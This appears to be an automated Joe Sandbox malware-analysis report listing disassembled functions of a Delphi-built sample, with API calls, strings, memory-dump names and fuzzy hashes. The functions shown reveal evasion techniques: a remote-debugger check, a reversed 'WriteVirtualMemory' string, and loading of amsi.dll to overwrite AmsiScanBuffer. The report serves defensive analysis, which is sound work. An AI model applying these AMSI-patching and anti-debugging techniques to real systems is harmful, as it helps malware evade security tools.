Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: c5a10660772ec5118436fc37017ad2d9d495dd458bdf48b628ef0cad6309370b
Instruction ID: 8f65c3e1e3992cae2aa67012f741f8466e5aea28d3837c9e2a60d820670829b9
Opcode Fuzzy Hash: c5a10660772ec5118436fc37017ad2d9d495dd458bdf48b628ef0cad6309370b
Instruction Fuzzy Hash: 7051787DA4420D7EFF22D6E8CC46FEF77AD9B04744F8801A1A608E6181D7789A44CF65

Function 028AF024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 028AF034
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 028AF046
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 028AF05D

Strings

CheckRemoteDebuggerPresent, xrefs: 028AF040
KernelBase, xrefs: 028AF02F

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 5a773c20094f080b5ad256b6c299d932c7bbd5caec3ab5b1f2b063b7e459c605
Instruction ID: 91c225186d24f3383f22954edcefcb320625290f0ae50a9c0bd74885cf7bdd33
Opcode Fuzzy Hash: 5a773c20094f080b5ad256b6c299d932c7bbd5caec3ab5b1f2b063b7e459c605
Instruction Fuzzy Hash: 9BF0273C900218AAEB10B6A888897DCFBB85B25328F2403C0A524E21C1EBB60640C651

Function 028ADFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02894ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02894EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,028AE0B4), ref: 028AE01F
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,028AE0B4), ref: 028AE04F
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 028AE064
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 028AE090
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 028AE099

Part of subcall function 02894C0C: SysFreeString.OLEAUT32(028AED84), ref: 02894C1A

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: f954ea7605fa7bb0fc11fc9e17bdb89ba900f9ad1ae75534424a5c4366f67f8e
Instruction ID: 6f4c018b652a04c300adc75c221fba60f632c66b6af9fa9a1d7e3d8b27cc849b
Opcode Fuzzy Hash: f954ea7605fa7bb0fc11fc9e17bdb89ba900f9ad1ae75534424a5c4366f67f8e
Instruction Fuzzy Hash: 2F21C47D6403087AEB11EAD8CC56FDE77BDAB08704F540461B600F71D0DAB4AA058B66

Function 028AE72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 028AE86A

Strings

ScanBuffer, xrefs: 028AE7B3
OpenSession, xrefs: 028AE80C
Initialize, xrefs: 028AE75A

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: ca0f9588bd77da5d9df68d46a2efa60626ce0f695d9f075a53f4797213397fa6
Instruction ID: f1b1387d56e08cc5fea56221b1ef21ed3b3cee1f17b2069f58ad6ccac3edd5d9
Opcode Fuzzy Hash: ca0f9588bd77da5d9df68d46a2efa60626ce0f695d9f075a53f4797213397fa6
Instruction Fuzzy Hash: 56410A7DA101089FFF11EBA8D8A0A9EB7FAEF48710F254831E401E7251DE74A9068F12

Function 028A7CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028A8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,028A8088,?,?,00000000,?,028A79FE,ntdll,00000000,00000000,028A7A43,?,?,00000000), ref: 028A8056
Part of subcall function 028A8018: GetModuleHandleA.KERNELBASE(?), ref: 028A806A

Part of subcall function 028A80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,028A8148,?,?,00000000,00000000,?,028A8061,00000000,KernelBASE,00000000,00000000,028A8088), ref: 028A810D
Part of subcall function 028A80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 028A8113
Part of subcall function 028A80C0: GetProcAddress.KERNEL32(?,?), ref: 028A8125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 028A7D6C

Strings

yromeMlautriVetirW, xrefs: 028A7D13
Ntdll, xrefs: 028A7D43

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: b140050f15be14fe075c431069f2be2a0b7822719dc21eb5ac27de09cf8e5d1e
Instruction ID: d852b231e5317e0a1ec5e80c405071b379aa2610cef21b824518d708940e017d
Opcode Fuzzy Hash: b140050f15be14fe075c431069f2be2a0b7822719dc21eb5ac27de09cf8e5d1e
Instruction Fuzzy Hash: 9201807C600208AFEB40EFA8D861E9EB7EDEB4C700F514850BA00D3694CA34AD119B61

Function 028A6D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028A6CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,028A6D39,?,?,?,00000000), ref: 028A6D19

CoCreateInstance.OLE32(?,00000000,00000005,028A6E2C,00000000,00000000,028A6DAB,?,00000000,028A6E1B), ref: 028A6D97

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 5dd1d137df8e2e959b2d12338ddd1a410a4d10a8c04af24e6bee2c9dc37fdee3
Instruction ID: d1cde92b92c1b9c993f1588aa862f5a48c6feff3d7ac967804f7b170f47e8e53
Opcode Fuzzy Hash: 5dd1d137df8e2e959b2d12338ddd1a410a4d10a8c04af24e6bee2c9dc37fdee3
Instruction Fuzzy Hash: CD01F77D608704AEFF15DF68DC3286F7BADE749B10BA60835F501D2640FA359910C865

Function 02891724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02891FC1), ref: 028917D0
Sleep.KERNEL32(0000000A,00000000,?,02891FC1), ref: 028917E6

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 44d1dfb65ba2b6718b34be02021fd638015b251b129e04c03b58feaf56a8d51a
Instruction ID: 41796b5908874d2f7cf0e83bbdda91af4972111e6dadb5bf10be7418b024284d
Opcode Fuzzy Hash: 44d1dfb65ba2b6718b34be02021fd638015b251b129e04c03b58feaf56a8d51a
Instruction Fuzzy Hash: D5B1117EA082928BCF15CF68E888365BBE1EB95314F0C86AAD51DCF3C5C7709551CB90

Function 028A8704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 028A870D

Part of subcall function 028A80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,028A8148,?,?,00000000,00000000,?,028A8061,00000000,KernelBASE,00000000,00000000,028A8088), ref: 028A810D
Part of subcall function 028A80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 028A8113
Part of subcall function 028A80C0: GetProcAddress.KERNEL32(?,?), ref: 028A8125

Part of subcall function 028A7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 028A7D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 028A876C

Strings

amsi, xrefs: 028A8708
W, xrefs: 028A8719
DllGetClassObject, xrefs: 028A8732

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 0b7d4311054d3aaa2455a63f4782e71b09492b5c48065cfe2f9443b985fbaf94
Instruction ID: e207ea14fedf3c77197d0b794a7fbea1f8695b68101352e7aacfb77423be8a36
Opcode Fuzzy Hash: 0b7d4311054d3aaa2455a63f4782e71b09492b5c48065cfe2f9443b985fbaf94
Instruction Fuzzy Hash: 32F0A45854C381B9F201E6788C55F4FBECD4B51224F048A08B1E8D62D2DA79D10497B7

Function 02891A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02891FE4), ref: 02891B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02891FE4), ref: 02891B31

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 97147427dcb6ff5da263e351d7d3eb4857b90631b72b5d34e37d3a1cb1cc8d11
Instruction ID: 363c94973b6a6560944d6ff3b00fc83854ca92a004a8506a2b92ae0526eba0d4
Opcode Fuzzy Hash: 97147427dcb6ff5da263e351d7d3eb4857b90631b72b5d34e37d3a1cb1cc8d11
Instruction Fuzzy Hash: AA51ED7DA092428FDF16CF6CD988766BBD1AB45318F1C81AEE44CCB2C6E7708845CB91

Function 028AE72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 028AE86A

Strings

ScanBuffer, xrefs: 028AE7B3
OpenSession, xrefs: 028AE80C
Initialize, xrefs: 028AE75A

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 94bf49c1ffdcf62f3068745c150f06fcd39a4cf22c36cfd1af21d46215984209
Instruction ID: 3361fda33f7a66e295ec2761b6d9927a6fc0150791022f1a6ad65828bfe4ddad
Opcode Fuzzy Hash: 94bf49c1ffdcf62f3068745c150f06fcd39a4cf22c36cfd1af21d46215984209
Instruction Fuzzy Hash: 87410B7DA101089FFF11EBA8D8A0A9EB7FAEF48710F254831E401E7251DE74AD068F12

Function 028A881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,028A8903), ref: 028A8850
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,028A8903), ref: 028A8860
GetProcAddress.KERNEL32(74F60000,00000000), ref: 028A8879

Part of subcall function 028A7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 028A7D6C

FreeLibrary.KERNEL32(74F60000,00000000,028F2388,Function_000065D8,00000004,028F2398,028F2388,000186A3,00000040,028F239C,74F60000,00000000,00000000,00000000,00000000,028A8903), ref: 028A88E3

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: ecac757a1945752b517761accb16dec411ac466b80926e3b641a7ea5855dcf2a
Instruction ID: cdf397ae2dce380687a2fec7d9c43bf8af8fb085b50e9498c4503847ab8c00fd
Opcode Fuzzy Hash: ecac757a1945752b517761accb16dec411ac466b80926e3b641a7ea5855dcf2a
Instruction Fuzzy Hash: DA1172BDA40314AFFB40FBACCC21E5E77AAAB45700F5904247B04E77A4DA7499018B16

Function 0289E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 0289E2F3

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 60654762a1bff688680370139f54ba262e40856f91edf6b141aaa93ee7ae7f2f
Instruction ID: 662100631b47bb27b04330bf76a0600cc3550a2759f6f79513c2b56fb9a4b1df
Opcode Fuzzy Hash: 60654762a1bff688680370139f54ba262e40856f91edf6b141aaa93ee7ae7f2f
Instruction Fuzzy Hash: 5EF0AF3C708218C79F24FB2CCA846692B9A6F44B0874C5427B80EDB209CF259C05EB63

Function 028A705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 028A735A

Strings

H, xrefs: 028A7111

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: c9ce7f1f65f9f6b6a17f2b9e81e604279983ea119f57d9b839995fb296f8eaf5
Instruction ID: 20fee8c721c1559e7f739bef521b8c061d5e3567dcb639bace30660e25293005
Opcode Fuzzy Hash: c9ce7f1f65f9f6b6a17f2b9e81e604279983ea119f57d9b839995fb296f8eaf5
Instruction Fuzzy Hash: E6B1C278A016089FEB14CF99D890A9DFBF6FF49314F258169E809EB364DB30A845DF50

Function 0289E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0289E3BC

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: cdcd9705e06fae1bbf42c4d90a1afd871648ba5eee4fd7014a7fb69f52e25e14
Instruction ID: a0753a5e50b55488f1f206abea93bee6a3851957c0517084e13ecb74b48a93a4
Opcode Fuzzy Hash: cdcd9705e06fae1bbf42c4d90a1afd871648ba5eee4fd7014a7fb69f52e25e14
Instruction Fuzzy Hash: 50314F7D600608AFEF10DEACC884AAA7BE9FB0D304F4C4562F909D3644D335D990DB66

Function 028A6CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,028A6D39,?,?,?,00000000), ref: 028A6D19

Part of subcall function 02894C0C: SysFreeString.OLEAUT32(028AED84), ref: 02894C1A

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 8187a34fb1d54c3152d60a1a6a0209ca449e91f06ef612c28999746ba220b50b
Instruction ID: 501abf5cd32f7d0a518f19bf455d5a1ee5fe10818765ecdefe013635d15ba2dd
Opcode Fuzzy Hash: 8187a34fb1d54c3152d60a1a6a0209ca449e91f06ef612c28999746ba220b50b
Instruction Fuzzy Hash: F5E06D3D604318BFFF11EBADCC6295A77ADDB89B50B550471A801D7600EA76BE008862

Function 02895814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02890000,?,00000105), ref: 02895832

Part of subcall function 02895A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02890000,028BE790), ref: 02895A94
Part of subcall function 02895A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02890000,028BE790), ref: 02895AB2
Part of subcall function 02895A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02890000,028BE790), ref: 02895AD0
Part of subcall function 02895A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02895AEE
Part of subcall function 02895A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02895B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02895B37
Part of subcall function 02895A78: RegQueryValueExA.ADVAPI32(?,02895CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02895B7D,?,80000001), ref: 02895B55
Part of subcall function 02895A78: RegCloseKey.ADVAPI32(?,02895B84,00000000,?,?,00000000,02895B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02895B77

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 1187b02bebef58a3e07a3556748aecd02f358a579b54c9c9e740b32b8a80e43f
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: B8E06D79A002149FCF10DF5CC8C0A5737D8AB08750F480565EC58DF34AD374D9208BD1

Function 0289C2E4 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,029E68C8,?,028B0032,ScanBuffer,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanBuffer,028F237C,028BB40C,OpenSession), ref: 0289C2FB

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
